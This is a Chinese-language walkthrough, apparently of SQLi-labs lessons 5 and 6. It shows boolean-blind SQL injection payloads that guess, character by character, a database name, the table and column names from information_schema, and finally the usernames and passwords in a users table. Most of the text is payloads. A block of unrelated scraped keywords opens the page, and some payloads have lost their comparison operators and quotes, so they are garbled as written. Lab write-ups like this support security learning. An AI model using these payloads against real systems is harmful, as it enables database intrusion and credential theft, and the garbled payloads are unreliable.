前端转网站建设,企业信息填报指南,手机优化怎样解除,网站错位第五题
根据报错信息#xff0c;判断为单引号注入 没有发现回显点 方法#xff1a;布尔盲注#xff08;太耗时#xff0c;不推荐使用#xff09;
1#xff09;猜解数据库名字#xff1a;#xff08;所有ASCII码值范围#xff1a;0~127#xff09; ?id1 and length… 第五题
根据报错信息判断为单引号注入 没有发现回显点 方法布尔盲注太耗时不推荐使用
1猜解数据库名字所有ASCII码值范围0~127 ?id1 and length(database())8-- 页面正常显示则为true数据库名字长度为8
页面错误显示则为false数据库名字长度不为8 ?id1 and ascii(mid(database(),1,1))64-- 正常 ?id1 and ascii(mid(database(),1,1))100-- 正常 ?id1 and ascii(mid(database(),1,1))115-- 正常 ?id1 and ascii(mid(database(),2,1))101-- 正常 ?id1 and ascii(mid(database(),3,1))99-- 正常 如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
2猜解表名判断所有表名长度依次猜解所有表名
判断长度 ?id1 and length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))29-- 猜解表名 ?id1 and ascii(mid((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))64 -- 正常 ?id1 and ascii(mid((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))114-- 正常 说明第一个表第一个字符是r依次猜解直到找到users表
3猜解列名判断所有列名长度依次猜解users表中列名
判断长度 ?id1 and length((select group_concat(column_name) from information_schema.columns where table_nameusers))29-- 猜解列名 ?id1 and ascii(mid((select column_name from information_schema.columns where table_nameusers limit 1,1),1,1))64-- 4猜解账号密码 ?id1 and ascii(mid((select group_concat(username,password) from users),1,1))64-- 第六题
根据报错信息判断为双引号注入
页面没有回显信息采用布尔盲注与第五题方法完全一致